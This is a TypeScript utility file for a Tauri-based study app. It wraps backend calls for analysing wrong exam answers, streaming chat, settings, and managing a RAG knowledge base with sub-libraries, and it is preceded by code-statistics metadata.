0.03174603, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05635401, "qsc_code_frac_chars_long_word_length": 0.00832073, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
000haoji/deep-student
|
src/utils/tauriApi.ts
|
// Tauri API调用模块 - 真实的后端API调用
import { invoke } from '@tauri-apps/api/core';
import { MistakeItem, ChatMessage, RagSourceInfo } from '../types';
// 重新导出类型以保持兼容性
export type { MistakeItem, ChatMessage, RagSourceInfo };
// 回顾分析相关类型 - 复用错题分析结构
export interface ReviewAnalysisItem {
id: string;
name: string;
subject: string;
created_at: string;
updated_at: string;
mistake_ids: string[];
consolidated_input: string;
user_question: string;
status: string;
tags: string[];
analysis_type: string;
chat_history: ChatMessage[];
}
export interface AnalysisRequest {
subject: string;
question_image_files: string[]; // Base64编码的图片字符串
analysis_image_files: string[]; // Base64编码的图片字符串
user_question: string;
}
export interface AnalysisResponse {
temp_id: string;
initial_data: {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
};
}
export interface ContinueChatRequest {
temp_id: string;
chat_history: ChatMessage[];
}
export interface ContinueChatResponse {
new_assistant_message: string;
}
export interface SaveMistakeRequest {
temp_id: string;
final_chat_history: ChatMessage[];
}
export interface SaveMistakeResponse {
success: boolean;
final_mistake_item?: MistakeItem;
}
// 工具函数：将File对象转换为Base64字符串
export const fileToBase64 = (file: File): Promise<string> => {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.readAsDataURL(file);
reader.onload = () => {
const result = reader.result as string;
// 移除 "data:image/jpeg;base64," 前缀，只保留Base64数据
const base64Data = result.split(',')[1];
resolve(base64Data);
};
reader.onerror = error => reject(error);
});
};
// 工具函数：批量转换文件为Base64
export const filesToBase64 = async (files: File[]): Promise<string[]> => {
const promises = files.map(file => fileToBase64(file));
return Promise.all(promises);
};
// Tauri API调用类
export class TauriAPI {
// 错题分析相关API
static async analyzeNewMistake(request: {
subject: string;
question_image_files: File[];
analysis_image_files: File[];
user_question: string;
}): Promise<AnalysisResponse> {
try {
// 转换图片文件为Base64
const questionImageBase64 = await filesToBase64(request.question_image_files);
const analysisImageBase64 = await filesToBase64(request.analysis_image_files);
// 根据后端AnalysisRequest结构，需要传递request对象
const analysisRequest = {
subject: request.subject,
question_image_files: questionImageBase64,
analysis_image_files: analysisImageBase64,
user_question: request.user_question,
};
const response = await invoke<AnalysisResponse>('analyze_new_mistake', {
request: analysisRequest,
});
return response;
} catch (error) {
console.error('分析新错题失败:', error);
throw new Error(`分析失败: ${error}`);
}
}
// 分析新错题 - 流式版本
static async analyzeNewMistakeStream(request: {
subject: string;
question_image_files: File[];
analysis_image_files: File[];
user_question: string;
}): Promise<AnalysisResponse> {
try {
// 转换图片文件为Base64
const questionImageBase64 = await filesToBase64(request.question_image_files);
const analysisImageBase64 = await filesToBase64(request.analysis_image_files);
// 根据后端AnalysisRequest结构，需要传递request对象
const analysisRequest = {
subject: request.subject,
question_image_files: questionImageBase64,
analysis_image_files: analysisImageBase64,
user_question: request.user_question,
};
const response = await invoke<AnalysisResponse>('analyze_new_mistake_stream', {
request: analysisRequest,
});
return response;
} catch (error) {
console.error('流式分析新错题失败:', error);
throw new Error(`流式分析失败: ${error}`);
}
}
// 分步骤分析：先OCR，再流式AI解答
static async analyzeStepByStep(request: {
subject: string;
question_image_files: File[];
analysis_image_files: File[];
user_question: string;
enable_chain_of_thought?: boolean;
}): Promise<{
temp_id: string;
ocr_result: {
ocr_text: string;
tags: string[];
mistake_type: string;
};
}> {
try {
// 转换图片文件为Base64
const questionImageBase64 = await filesToBase64(request.question_image_files);
const analysisImageBase64 = await filesToBase64(request.analysis_image_files);
// 调用后端的分步骤分析命令
const analysisRequest = {
subject: request.subject,
question_image_files: questionImageBase64,
analysis_image_files: analysisImageBase64,
user_question: request.user_question,
enable_chain_of_thought: request.enable_chain_of_thought || false,
};
const response = await invoke<{
temp_id: string;
ocr_result: {
ocr_text: string;
tags: string[];
mistake_type: string;
};
}>('analyze_step_by_step', {
request: analysisRequest,
});
return response;
} catch (error) {
console.error('分步骤分析失败:', error);
// 更好的错误处理
if (error && typeof error === 'object') {
const errorMessage = (error as any).message || JSON.stringify(error);
throw new Error(`分步骤分析失败: ${errorMessage}`);
} else {
throw new Error(`分步骤分析失败: ${String(error)}`);
}
}
}
// 开始流式AI解答（在OCR完成后调用）
static async startStreamingAnswer(tempId: string, enableChainOfThought: boolean = false): Promise<void> {
try {
await invoke('start_streaming_answer', {
request: {
temp_id: tempId,
enable_chain_of_thought: enableChainOfThought,
},
});
} catch (error) {
console.error('开始流式解答失败:', error);
throw new Error(`开始流式解答失败: ${error}`);
}
}
static async continueChat(request: ContinueChatRequest): Promise<ContinueChatResponse> {
try {
const response = await invoke<ContinueChatResponse>('continue_chat', {
request: request,
});
return response;
} catch (error) {
console.error('继续对话失败:', error);
throw new Error(`对话失败: ${error}`);
}
}
// 继续对话 - 流式版本
static async continueChatStream(request: {
temp_id: string;
chat_history: ChatMessage[];
enable_chain_of_thought?: boolean;
}): Promise<ContinueChatResponse> {
try {
const response = await invoke<ContinueChatResponse>('continue_chat_stream', {
request: {
temp_id: request.temp_id,
chat_history: request.chat_history,
enable_chain_of_thought: request.enable_chain_of_thought || false,
},
});
return response;
} catch (error) {
console.error('流式继续对话失败:', error);
throw new Error(`流式对话失败: ${error}`);
}
}
static async saveMistakeFromAnalysis(request: SaveMistakeRequest): Promise<SaveMistakeResponse> {
try {
const response = await invoke<SaveMistakeResponse>('save_mistake_from_analysis', {
request: request,
});
return response;
} catch (error) {
console.error('保存错题失败:', error);
let errorMessage = '未知错误';
if (error && typeof error === 'object') {
if ('message' in error) {
errorMessage = (error as any).message;
} else {
errorMessage = JSON.stringify(error);
}
} else if (typeof error === 'string') {
errorMessage = error;
}
throw new Error(`保存失败: ${errorMessage}`);
}
}
// 错题库管理API
static async getMistakes(filter?: {
subject?: string;
mistake_type?: string;
tags?: string[];
}): Promise<MistakeItem[]> {
try {
const response = await invoke<MistakeItem[]>('get_mistakes', {
subject: filter?.subject || null,
mistake_type: filter?.mistake_type || null,
tags: filter?.tags || null,
});
return response;
} catch (error) {
console.error('获取错题列表失败:', error);
throw new Error(`获取错题列表失败: ${error}`);
}
}
// 回顾分析列表API（复用错题分析的列表模式）
static async getReviewAnalyses(filter?: {
subject?: string;
status?: string;
}): Promise<ReviewAnalysisItem[]> {
try {
const response = await invoke<ReviewAnalysisItem[]>('get_review_analyses', {
subject: filter?.subject || null,
status: filter?.status || null,
});
return response;
} catch (error) {
console.error('获取回顾分析列表失败:', error);
throw new Error(`获取回顾分析列表失败: ${error}`);
}
}
static async getMistakeDetails(id: string): Promise<MistakeItem | null> {
try {
const response = await invoke<MistakeItem | null>('get_mistake_details', { id });
return response;
} catch (error) {
console.error('获取错题详情失败:', error);
throw new Error(`获取错题详情失败: ${error}`);
}
}
static async updateMistake(mistake: MistakeItem): Promise<MistakeItem> {
try {
const response = await invoke<MistakeItem>('update_mistake', { mistake });
return response;
} catch (error) {
console.error('更新错题失败:', error);
throw new Error(`更新错题失败: ${error}`);
}
}
static async deleteMistake(id: string): Promise<boolean> {
try {
const response = await invoke<boolean>('delete_mistake', { id });
return response;
} catch (error) {
console.error('删除错题失败:', error);
throw new Error(`删除错题失败: ${error}`);
}
}
static async getMistakeQuestionImages(mistakeId: string): Promise<string[]> {
try {
const mistake = await this.getMistakeDetails(mistakeId);
if (!mistake) {
return [];
}
const images: string[] = [];
for (const imagePath of mistake.question_images) {
try {
const base64 = await this.getImageAsBase64(imagePath);
images.push(base64);
} catch (error) {
console.warn(`获取题目图片失败: ${imagePath}`, error);
}
}
return images;
} catch (error) {
console.error('获取错题题目图片失败:', error);
throw new Error(`获取错题题目图片失败: ${error}`);
}
}
static async getMistakeAnalysisImages(mistakeId: string): Promise<string[]> {
try {
const mistake = await this.getMistakeDetails(mistakeId);
if (!mistake) {
return [];
}
const images: string[] = [];
for (const imagePath of mistake.analysis_images) {
try {
const base64 = await this.getImageAsBase64(imagePath);
images.push(base64);
} catch (error) {
console.warn(`获取解析图片失败: ${imagePath}`, error);
}
}
return images;
} catch (error) {
console.error('获取错题解析图片失败:', error);
throw new Error(`获取错题解析图片失败: ${error}`);
}
}
static async continueMistakeChat(mistakeId: string, chatHistory: ChatMessage[]): Promise<ContinueChatResponse> {
try {
const response = await invoke<ContinueChatResponse>('continue_mistake_chat', {
mistakeId: mistakeId,
chatHistory: chatHistory,
});
return response;
} catch (error) {
console.error('在错题详情页继续对话失败:', error);
throw new Error(`对话失败: ${error}`);
}
}
// 继续错题对话 - 流式版本
static async continueMistakeChatStream(request: {
mistakeId: string;
chatHistory: ChatMessage[];
enableChainOfThought?: boolean;
}): Promise<void> {
try {
await invoke('continue_mistake_chat_stream', {
mistakeId: request.mistakeId,
chatHistory: request.chatHistory,
enableChainOfThought: request.enableChainOfThought || false,
});
} catch (error) {
console.error('流式错题对话失败:', error);
throw new Error(`流式对话失败: ${error}`);
}
}
// 回顾分析API (流式版本)
static async analyzeReviewSession(subject: string, mistakeIds: string[]): Promise<AnalysisResponse> {
try {
const response = await invoke<AnalysisResponse>('analyze_review_session_stream', {
subject,
mistake_ids: mistakeIds,
});
return response;
} catch (error) {
console.error('回顾分析失败:', error);
throw new Error(`回顾分析失败: ${error}`);
}
}
// 配置管理API
static async saveSetting(key: string, value: string): Promise<void> {
try {
await invoke<void>('save_setting', { key, value });
} catch (error) {
console.error('保存设置失败:', error);
throw new Error(`保存设置失败: ${error}`);
}
}
static async getSetting(key: string): Promise<string | null> {
try {
const response = await invoke<string | null>('get_setting', { key });
return response;
} catch (error) {
console.error('获取设置失败:', error);
throw new Error(`获取设置失败: ${error}`);
}
}
static async testApiConnection(apiKey: string, apiBase: string, model?: string): Promise<boolean> {
try {
const response = await invoke<boolean>('test_api_connection', {
api_key: apiKey,
api_base: apiBase,
model: model || null,
});
return response;
} catch (error) {
console.error('测试API连接失败:', error);
throw new Error(`测试API连接失败: ${error}`);
}
}
// 统计信息API
static async getStatistics(): Promise<any> {
try {
const response = await invoke<any>('get_statistics');
return response;
} catch (error) {
console.error('获取统计信息失败:', error);
throw new Error(`获取统计信息失败: ${error}`);
}
}
// 支持的科目API
static async getSupportedSubjects(): Promise<string[]> {
try {
const response = await invoke<string[]>('get_supported_subjects');
return response;
} catch (error) {
console.error('获取支持的科目失败:', error);
throw new Error(`获取支持的科目失败: ${error}`);
}
}
// 文件管理API
static async getImageAsBase64(relativePath: string): Promise<string> {
try {
const response = await invoke<string>('get_image_as_base64', { relativePath: relativePath });
return response;
} catch (error) {
console.error('获取图片Base64失败:', error);
throw new Error(`获取图片失败: ${error}`);
}
}
static async saveImageFromBase64(base64Data: string, originalPath: string): Promise<string> {
try {
// 从原路径中提取文件名或生成新的文件名
const pathParts = originalPath.split('/');
const fileName = pathParts[pathParts.length - 1];
const response = await invoke<string>('save_image_from_base64_path', {
base64Data: base64Data,
fileName: fileName
});
return response;
} catch (error) {
console.error('保存图片Base64失败:', error);
throw new Error(`保存图片失败: ${error}`);
}
}
static async cleanupOrphanedImages(): Promise<string[]> {
try {
const response = await invoke<string[]>('cleanup_orphaned_images');
return response;
} catch (error) {
console.error('清理孤立图片失败:', error);
throw new Error(`清理孤立图片失败: ${error}`);
}
}
// API配置管理API
static async getApiConfigurations(): Promise<any[]> {
try {
const response = await invoke<any[]>('get_api_configurations');
return response;
} catch (error) {
console.error('获取API配置失败:', error);
throw new Error(`获取API配置失败: ${error}`);
}
}
static async saveApiConfigurations(configs: any[]): Promise<void> {
try {
await invoke<void>('save_api_configurations', { configs });
} catch (error) {
console.error('保存API配置失败:', error);
throw new Error(`保存API配置失败: ${error}`);
}
}
static async getModelAssignments(): Promise<any> {
try {
const response = await invoke<any>('get_model_assignments');
return response;
} catch (error) {
console.error('获取模型分配失败:', error);
throw new Error(`获取模型分配失败: ${error}`);
}
}
static async saveModelAssignments(assignments: any): Promise<void> {
try {
await invoke<void>('save_model_assignments', { assignments });
} catch (error) {
console.error('保存模型分配失败:', error);
throw new Error(`保存模型分配失败: ${error}`);
}
}
// 科目配置管理API
static async getAllSubjectConfigs(enabledOnly: boolean = false): Promise<any[]> {
try {
const response = await invoke<any[]>('get_all_subject_configs', { enabled_only: enabledOnly });
return response;
} catch (error) {
console.error('获取科目配置列表失败:', error);
throw new Error(`获取科目配置列表失败: ${error}`);
}
}
static async getSubjectConfigById(id: string): Promise<any | null> {
try {
const response = await invoke<any | null>('get_subject_config_by_id', { id });
return response;
} catch (error) {
console.error('获取科目配置失败:', error);
throw new Error(`获取科目配置失败: ${error}`);
}
}
static async getSubjectConfigByName(subjectName: string): Promise<any | null> {
try {
const response = await invoke<any | null>('get_subject_config_by_name', { subject_name: subjectName });
return response;
} catch (error) {
console.error('获取科目配置失败:', error);
throw new Error(`获取科目配置失败: ${error}`);
}
}
static async createSubjectConfig(request: {
subject_name: string;
display_name: string;
description?: string;
prompts?: any;
mistake_types?: string[];
default_tags?: string[];
}): Promise<any> {
try {
const response = await invoke<any>('create_subject_config', { request });
return response;
} catch (error) {
console.error('创建科目配置失败:', error);
throw new Error(`创建科目配置失败: ${error}`);
}
}
static async updateSubjectConfig(request: {
id: string;
display_name?: string;
description?: string;
is_enabled?: boolean;
prompts?: any;
mistake_types?: string[];
default_tags?: string[];
}): Promise<any> {
try {
const response = await invoke<any>('update_subject_config', { request });
return response;
} catch (error) {
console.error('更新科目配置失败:', error);
throw new Error(`更新科目配置失败: ${error}`);
}
}
static async deleteSubjectConfig(id: string): Promise<boolean> {
try {
const response = await invoke<boolean>('delete_subject_config', { id });
return response;
} catch (error) {
console.error('删除科目配置失败:', error);
throw new Error(`删除科目配置失败: ${error}`);
}
}
static async initializeDefaultSubjectConfigs(): Promise<void> {
try {
await invoke<void>('initialize_default_subject_configs');
} catch (error) {
console.error('初始化默认科目配置失败:', error);
throw new Error(`初始化默认科目配置失败: ${error}`);
}
}
// 流式回顾分析API
static async analyzeReviewSessionStream(subject: string, mistakeIds: string[]): Promise<{ review_id: string }> {
try {
const response = await invoke<{ review_id: string }>('analyze_review_session_stream', {
subject,
mistake_ids: mistakeIds
});
return response;
} catch (error) {
console.error('流式回顾分析失败:', error);
throw new Error(`流式回顾分析失败: ${error}`);
}
}
// 批量操作API
static async batchSaveMistakes(mistakes: MistakeItem[]): Promise<void> {
try {
await invoke<void>('batch_save_mistakes', { mistakes });
} catch (error) {
console.error('批量保存错题失败:', error);
throw new Error(`批量保存错题失败: ${error}`);
}
}
static async batchDeleteMistakes(ids: string[]): Promise<void> {
try {
await invoke<void>('batch_delete_mistakes', { ids });
} catch (error) {
console.error('批量删除错题失败:', error);
throw new Error(`批量删除错题失败: ${error}`);
}
}
// ============================================================================
// 回顾分析功能API
// ============================================================================
// 开始统一回顾分析 - 第一步：创建会话并缓存数据
static async startConsolidatedReviewAnalysis(request: {
subject: string;
consolidatedInput: string;
overallPrompt: string;
enableChainOfThought: boolean;
mistakeIds: string[]; // 🔧 修复：添加错题ID列表参数
}): Promise<{ review_session_id: string }> {
try {
const response = await invoke<{ review_session_id: string }>('start_consolidated_review_analysis', {
request: {
subject: request.subject,
consolidated_input: request.consolidatedInput,
overall_prompt: request.overallPrompt,
enable_chain_of_thought: request.enableChainOfThought,
mistake_ids: request.mistakeIds, // 🔧 修复：传递错题ID列表
}
});
return response;
} catch (error) {
console.error('开始统一回顾分析失败:', error);
throw new Error(`开始统一回顾分析失败: ${error}`);
}
}
// 触发统一回顾分析流式处理 - 第二步：开始AI分析
static async triggerConsolidatedReviewStream(request: {
review_session_id: string;
enable_chain_of_thought: boolean;
enable_rag?: boolean;
rag_options?: { top_k: number };
}): Promise<void> {
try {
await invoke<void>('trigger_consolidated_review_stream', {
request: {
review_session_id: request.review_session_id,
enable_chain_of_thought: request.enable_chain_of_thought,
enable_rag: request.enable_rag,
rag_options: request.rag_options
}
});
} catch (error) {
console.error('触发统一回顾分析流式处理失败 (raw):', error);
let errorMessage = '未知错误';
if (error && typeof error === 'object') {
errorMessage = (error as any).message || JSON.stringify(error);
} else if (typeof error === 'string') {
errorMessage = error;
}
throw new Error(`触发统一回顾分析流式处理失败: ${errorMessage}`);
}
}
// 继续统一回顾分析对话
static async continueConsolidatedReviewStream(request: {
review_session_id: string;
chat_history: ChatMessage[];
enable_chain_of_thought: boolean;
enable_rag?: boolean;
rag_options?: { top_k: number };
}): Promise<void> {
try {
await invoke<void>('continue_consolidated_review_stream', {
request: {
review_session_id: request.review_session_id,
chat_history: request.chat_history,
enable_chain_of_thought: request.enable_chain_of_thought,
enable_rag: request.enable_rag,
rag_options: request.rag_options
}
});
} catch (error) {
console.error('继续统一回顾分析对话失败 (raw):', error);
let errorMessage = '未知错误';
if (error && typeof error === 'object') {
errorMessage = (error as any).message || JSON.stringify(error);
} else if (typeof error === 'string') {
errorMessage = error;
}
throw new Error(`继续统一回顾分析对话失败: ${errorMessage}`);
}
}
// 获取统一回顾分析会话数据
static async getConsolidatedReviewSession(sessionId: string): Promise<any | null> {
try {
const session = await invoke<any | null>('get_consolidated_review_session', {
sessionId: sessionId,
});
return session;
} catch (error) {
console.error('获取统一回顾分析会话失败:', error);
throw new Error(`获取统一回顾分析会话失败: ${error}`);
}
}
// ============================================================================
// RAG知识库管理API
// ============================================================================
// 添加文档到知识库（通过文件路径）
static async ragAddDocuments(filePaths: string[]): Promise<string> {
try {
const response = await invoke<string>('rag_add_documents', {
request: {
file_paths: filePaths,
chunk_size: null,
chunk_overlap: null,
enable_preprocessing: null
}
});
return response;
} catch (error) {
console.error('添加文档到知识库失败:', error);
throw new Error(`添加文档到知识库失败: ${error}`);
}
}
// 添加文档到知识库（通过文件内容）
static async ragAddDocumentsFromContent(documents: Array<{
fileName: string;
content: string;
}>): Promise<string> {
try {
const response = await invoke<string>('rag_add_documents_from_content', {
documents
});
return response;
} catch (error) {
console.error('从内容添加文档到知识库失败:', error);
throw new Error(`从内容添加文档到知识库失败: ${error}`);
}
}
// 获取知识库状态
static async ragGetKnowledgeBaseStatus(): Promise<{
total_documents: number;
total_chunks: number;
embedding_model_name?: string;
vector_store_type: string;
}> {
try {
const response = await invoke<{
total_documents: number;
total_chunks: number;
embedding_model_name?: string;
vector_store_type: string;
}>('rag_get_knowledge_base_status');
return response;
} catch (error) {
console.error('获取知识库状态失败:', error);
throw new Error(`获取知识库状态失败: ${error}`);
}
}
// 删除知识库中的文档
static async ragDeleteDocument(documentId: string): Promise<void> {
try {
await invoke<void>('rag_delete_document', { documentId: documentId });
} catch (error) {
console.error('删除知识库文档失败:', error);
throw new Error(`删除知识库文档失败: ${error}`);
}
}
// 查询知识库
static async ragQueryKnowledgeBase(query: string, options: {
top_k: number;
enable_reranking?: boolean;
}): Promise<{
retrieved_chunks: Array<{
chunk: {
id: string;
document_id: string;
chunk_index: number;
text: string;
metadata: Record<string, string>;
};
score: number;
}>;
query_vector_time_ms: number;
search_time_ms: number;
reranking_time_ms?: number;
total_time_ms: number;
}> {
try {
const response = await invoke<{
retrieved_chunks: Array<{
chunk: {
id: string;
document_id: string;
chunk_index: number;
text: string;
metadata: Record<string, string>;
};
score: number;
}>;
query_vector_time_ms: number;
search_time_ms: number;
reranking_time_ms?: number;
total_time_ms: number;
}>('rag_query_knowledge_base', { query, options });
return response;
} catch (error) {
console.error('查询知识库失败:', error);
throw new Error(`查询知识库失败: ${error}`);
}
}
// 获取所有文档列表
static async ragGetAllDocuments(): Promise<Array<{
id: string;
file_name: string;
file_path?: string;
file_size?: number;
total_chunks: number;
created_at: string;
updated_at: string;
}>> {
try {
const response = await invoke<Array<{
id: string;
file_name: string;
file_path?: string;
file_size?: number;
total_chunks: number;
created_at: string;
updated_at: string;
}>>('rag_get_all_documents');
return response;
} catch (error) {
console.error('获取文档列表失败:', error);
throw new Error(`获取文档列表失败: ${error}`);
}
}
// 清空知识库
static async ragClearKnowledgeBase(): Promise<void> {
try {
await invoke<void>('rag_clear_knowledge_base');
} catch (error) {
console.error('清空知识库失败:', error);
throw new Error(`清空知识库失败: ${error}`);
}
}
// ============================================================================
// RAG增强的AI分析API
// ============================================================================
// RAG增强的流式分析
static async startRagEnhancedStreamingAnswer(request: {
temp_id: string;
enable_chain_of_thought: boolean;
enable_rag?: boolean;
rag_options?: {
top_k: number;
enable_reranking?: boolean;
};
}): Promise<void> {
try {
await invoke<void>('start_rag_enhanced_streaming_answer', { request });
} catch (error) {
console.error('RAG增强流式分析失败:', error);
throw new Error(`RAG增强流式分析失败: ${error}`);
}
}
// RAG增强的继续对话
static async continueRagEnhancedChatStream(request: {
temp_id: string;
chat_history: ChatMessage[];
enable_chain_of_thought?: boolean;
enable_rag?: boolean;
rag_options?: {
top_k: number;
enable_reranking?: boolean;
};
}): Promise<{ new_assistant_message: string }> {
try {
const response = await invoke<{ new_assistant_message: string }>('continue_rag_enhanced_chat_stream', { request });
return response;
} catch (error) {
console.error('RAG增强对话失败:', error);
throw new Error(`RAG增强对话失败: ${error}`);
}
}
// ============================================================================
// 独立RAG查询API
// ============================================================================
// RAG配置管理API
// 获取RAG配置
static async getRagSettings(): Promise<{
chunk_size: number;
chunk_overlap: number;
chunking_strategy: string;
min_chunk_size: number;
default_top_k: number;
default_rerank_enabled: boolean;
}> {
try {
const response = await invoke<{
chunk_size: number;
chunk_overlap: number;
chunking_strategy: string;
min_chunk_size: number;
default_top_k: number;
default_rerank_enabled: boolean;
}>('get_rag_settings');
return response;
} catch (error) {
console.error('获取RAG配置失败:', error);
throw new Error(`获取RAG配置失败: ${error}`);
}
}
// 更新RAG配置
static async updateRagSettings(settings: {
chunk_size: number;
chunk_overlap: number;
chunking_strategy: string;
min_chunk_size: number;
default_top_k: number;
default_rerank_enabled: boolean;
}): Promise<void> {
try {
await invoke<void>('update_rag_settings', { settings });
} catch (error) {
console.error('更新RAG配置失败:', error);
throw new Error(`更新RAG配置失败: ${error}`);
}
}
// 重置RAG配置为默认值
static async resetRagSettings(): Promise<void> {
try {
await invoke<void>('reset_rag_settings');
} catch (error) {
console.error('重置RAG配置失败:', error);
throw new Error(`重置RAG配置失败: ${error}`);
}
}
// ==================== RAG分库管理方法 ====================
/**
* 创建新的RAG分库
*/
static async createRagSubLibrary(request: {
name: string;
description?: string;
}): Promise<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}> {
try {
const response = await invoke<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}>('create_rag_sub_library', { request });
console.log('✅ 分库创建成功:', response);
return response;
} catch (error) {
console.error('创建分库失败:', error);
throw new Error(`创建分库失败: ${error}`);
}
}
/**
* 获取所有RAG分库列表
*/
static async getRagSubLibraries(): Promise<Array<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}>> {
try {
const response = await invoke<Array<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}>>('get_rag_sub_libraries');
console.log('✅ 获取分库列表成功:', response);
return response;
} catch (error) {
console.error('获取分库列表失败:', error);
throw new Error(`获取分库列表失败: ${error}`);
}
}
/**
* 根据ID获取RAG分库详情
*/
static async getRagSubLibraryById(libraryId: string): Promise<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
} | null> {
try {
const response = await invoke<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
} | null>('get_rag_sub_library_by_id', { libraryId: libraryId });
console.log('✅ 获取分库详情成功:', response);
return response;
} catch (error) {
console.error('获取分库详情失败:', error);
throw new Error(`获取分库详情失败: ${error}`);
}
}
/**
* 更新RAG分库信息
*/
static async updateRagSubLibrary(libraryId: string, request: {
name?: string;
description?: string;
}): Promise<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}> {
try {
const response = await invoke<{
id: string;
name: string;
description?: string;
created_at: string;
updated_at: string;
document_count: number;
chunk_count: number;
}>('update_rag_sub_library', {
libraryId: libraryId,
request
});
console.log('✅ 分库更新成功:', response);
return response;
} catch (error) {
console.error('更新分库失败:', error);
throw new Error(`更新分库失败: ${error}`);
}
}
/**
* 删除RAG分库
*/
static async deleteRagSubLibrary(libraryId: string, deleteDocuments: boolean = false): Promise<void> {
try {
await invoke<void>('delete_rag_sub_library', {
libraryId: libraryId,
deleteDocuments: deleteDocuments
});
console.log('✅ 分库删除成功');
} catch (error) {
console.error('删除分库失败:', error);
throw new Error(`删除分库失败: ${error}`);
}
}
/**
* 向指定分库添加文档
*/
static async ragAddDocumentsToLibrary(request: {
file_paths: string[];
sub_library_id?: string;
}): Promise<string> {
try {
const response = await invoke<string>('rag_add_documents_to_library', { request });
console.log('✅ 文档添加到分库成功:', response);
return response;
} catch (error) {
console.error('添加文档到分库失败:', error);
throw new Error(`添加文档到分库失败: ${error}`);
}
}
/**
* 从Base64内容向指定分库添加文档
*/
static async ragAddDocumentsFromContentToLibrary(request: {
documents: Array<{
file_name: string;
base64_content: string;
}>;
sub_library_id?: string;
}): Promise<string> {
try {
const response = await invoke<string>('rag_add_documents_from_content_to_library', { request });
console.log('✅ 从内容添加文档到分库成功:', response);
return response;
} catch (error) {
console.error('从内容添加文档到分库失败:', error);
throw new Error(`从内容添加文档到分库失败: ${error}`);
}
}
/**
* 获取指定分库的文档列表
*/
static async getRagDocumentsByLibrary(request: {
sub_library_id?: string;
page?: number;
page_size?: number;
}): Promise<Array<{
id: string;
file_name: string;
file_path?: string;
file_size?: number;
total_chunks: number;
sub_library_id: string;
created_at: string;
updated_at: string;
}>> {
try {
const response = await invoke<Array<{
id: string;
file_name: string;
file_path?: string;
file_size?: number;
total_chunks: number;
sub_library_id: string;
created_at: string;
updated_at: string;
}>>('get_rag_documents_by_library', { request });
console.log('✅ 获取分库文档列表成功:', response);
return response;
} catch (error) {
console.error('获取分库文档列表失败:', error);
throw new Error(`获取分库文档列表失败: ${error}`);
}
}
/**
* 将文档移动到指定分库
*/
static async moveDocumentToRagLibrary(documentId: string, targetLibraryId: string): Promise<void> {
try {
await invoke<void>('move_document_to_rag_library', {
documentId: documentId,
targetLibraryId: targetLibraryId
});
console.log('✅ 文档移动成功');
} catch (error) {
console.error('移动文档失败:', error);
throw new Error(`移动文档失败: ${error}`);
}
}
/**
* 在指定分库中查询知识库
*/
static async ragQueryKnowledgeBaseInLibraries(query: string, options: {
top_k: number;
enable_reranking?: boolean;
target_sub_library_ids?: string[];
}): Promise<{
retrieved_chunks: Array<{
chunk: {
id: string;
document_id: string;
chunk_index: number;
text: string;
metadata: Record<string, string>;
};
score: number;
}>;
query_vector_time_ms: number;
search_time_ms: number;
reranking_time_ms?: number;
total_time_ms: number;
}> {
try {
const response = await invoke<{
retrieved_chunks: Array<{
chunk: {
id: string;
document_id: string;
chunk_index: number;
text: string;
metadata: Record<string, string>;
};
score: number;
}>;
query_vector_time_ms: number;
search_time_ms: number;
reranking_time_ms?: number;
total_time_ms: number;
}>('rag_query_knowledge_base_in_libraries', { query, options });
console.log('✅ 分库查询成功:', response);
return response;
} catch (error) {
console.error('分库查询失败:', error);
throw new Error(`分库查询失败: ${error}`);
}
}
// ==================== 回顾分析API - 复用错题分析模式 ====================
/**
* 从数据库获取回顾分析（复用错题分析的加载模式）
*/
static async getReviewAnalysisById(id: string): Promise<ReviewAnalysisItem | null> {
try {
const response = await invoke<ReviewAnalysisItem | null>('get_review_analysis_by_id', { id });
console.log('✅ 获取回顾分析成功:', response);
return response;
} catch (error) {
console.error('❌ 获取回顾分析失败:', error);
throw new Error(`获取回顾分析失败: ${error}`);
}
}
/**
* 删除回顾分析（统一回顾分析功能）
*/
static async deleteReviewAnalysis(id: string): Promise<boolean> {
try {
console.log('🗑️ 开始删除回顾分析:', id);
const response = await invoke<boolean>('delete_review_analysis', { id });
if (response) {
console.log('✅ 回顾分析删除成功:', id);
} else {
console.warn('⚠️ 回顾分析不存在或删除失败:', id);
}
return response;
} catch (error) {
console.error('❌ 删除回顾分析失败:', error);
throw new Error(`删除回顾分析失败: ${error}`);
}
}
// 🎯 新增：更新回顾分析（主要用于保存聊天历史）
